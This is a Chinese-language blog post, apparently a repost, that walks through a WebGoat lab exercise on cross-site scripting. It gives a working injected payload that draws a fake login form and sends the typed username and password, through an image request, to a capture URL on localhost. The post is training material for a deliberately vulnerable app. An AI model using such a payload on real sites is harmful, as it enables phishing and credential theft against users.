【WebGoat笔记】--- Cross-Site Scripting(XSS)
?
目標:
偽造一個登陸界面,要求用戶輸入用戶名和密碼,將數據提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE
?
解決步驟:
首先:隨意輸入搜索內容,如:123.
打開源代碼,檢測是否有未關閉的標簽。由于這是一個入門級的練手任務,代碼漏洞百出,這一層就不用考慮了。
第二步:嘗試在搜索欄中插入JavaScript代碼,比如通用的:<script>alert("XSS!");</script>
成功報出提示信息:
值得注意的是,JS腳本語言的插入在我的機器上只能用IE實行,在chrome上則沒有任何反應。可能是chrome所用腳本語言有所區別。
?
第三步:構造代碼,偽造一個登陸界面:
<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>?
其中,οnclick="hack()"是用戶點擊登錄之后的按鈕行為,具體函數在隨后構建。
第四步:繼續完善欺騙代碼,構建JS函數,將獲取的用戶名和密碼提交到相應的鏈接上。最后的輸入代碼如下:
<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR>?
這樣,當被欺騙的用戶輸入用戶名和密碼之后,將報出提示信息,并將用戶名和密碼發送到相應鏈接。
webgoat的提示說,如果創建一個image:XSSImage=newImage(),并聲明XSSImage.src=SOME_URL那么JavaScript會執行一個提交。對JS語言不熟,這個今后再研究。
?
轉載于:https://www.cnblogs.com/y0umer/archive/2011/12/21/3839117.html
總結
以上是生活随笔為你收集整理的【WebGoat笔记】--- Cross-Site Scripting(XSS)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用httpHandlers进行url
- 下一篇: IE 域组策略对服务器无效的原因